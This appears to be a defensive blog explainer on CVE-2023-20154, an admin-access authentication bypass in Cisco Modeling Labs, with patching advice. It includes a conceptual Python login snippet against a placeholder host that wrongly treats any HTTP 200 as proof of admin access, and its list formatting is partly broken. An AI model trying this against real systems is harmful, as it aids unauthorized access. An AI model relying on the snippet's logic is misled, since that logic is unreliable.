Cisco Modeling Labs (CML) is a widely-used platform that lets users set up and simulate complex network topologies. In May 2023, Cisco released a critical security advisory describing a serious vulnerability (CVE-2023-20154) that affected CML’s external authentication mechanism. This post breaks down what happened, how an attacker could exploit this vulnerability, sample attack flow, and what you can do to secure your Cisco Modeling Labs deployment.

What is CVE-2023-20154?

CVE-2023-20154 is a vulnerability in Cisco Modeling Labs’ support for external authentication servers. External authentication allows organizations to control who can log in by using external identity providers (like LDAP or SAML, instead of local accounts). Due to improper handling of certain messages from the external server, an attacker could bypass authentication under specific conditions and gain *administrator access* through the web interface—without being properly authorized.

Understanding the Vulnerability

When CML is configured with external authentication, it sends a status or response message to the external server after a user attempts to log in. Due to a weak check in the authentication logic, CML could incorrectly interpret some responses as an “all clear,” logging the user in with the highest administrator privileges, even if they should not be authenticated.

Why did it happen?

- Improper message handling: CML’s software did not fully validate the response from the external authentication provider.
- Assumed trust: Certain unexpected responses could “trick” the application into thinking authentication was successful.

Requirements for Attack

- Attacker needs *valid user credentials* from the external authentication server (even basic user access is enough).

Attacker navigates to CML login page.

2. Logs in using valid credentials from the external server, even if those credentials don’t have admin privileges.

Attacker now has full control—can view, change, or delete any simulation or user data.

### Example Exploit (Pseudo-code/Concept)

The exploit is more about abusing application logic than sending a special payload. But here’s a rough idea of what an exploit session might look like using Python:

import requests

# Set the CML URL (for example)
CML_URL = "https://target-cml.example.com";
LOGIN_ENDPOINT = f"{CML_URL}/api/v/authenticate"

# Provide basic (not admin!) credentials
credentials = {
    "username": "valid_regular_user",
    "password": "userpassword123"
}

# Attempt to authenticate
response = requests.post(LOGIN_ENDPOINT, json=credentials, verify=False)

if response.status_code == 200:
    print("Exploit successful! Got admin session:")
    print(response.json())
else:
    print("Exploit failed, check credentials or target configuration.")

If the CML is vulnerable and the attacker uses a valid credential (even a low-privilege one), the response may unexpectedly grant administrator rights.

Cisco’s Fix

Update now: Cisco quickly released patched software for CML.
Official advisory: CVE-2023-20154 on Cisco’s site

Monitor logs for suspicious logins or privilege changes.

- Change credentials and review admin/access lists after patching.

References

- Cisco advisory for CVE-2023-20154
- NVD - CVE-2023-20154 entry
- Cisco Modeling Labs release notes

Final Thoughts

CVE-2023-20154 highlights why external authentication integration must be handled with care. A tiny validation bug could open the door to total compromise. If you use Cisco Modeling Labs in your network labs or training environments, check your version and patch as soon as possible. When in doubt, lock down the admin interface and keep access limited!


*This article is an exclusive breakdown for anyone looking to understand and defend against CVE-2023-20154. Safe labs, happy simulating!*

Timeline

Published on: 11/15/2024 14:54:34 UTC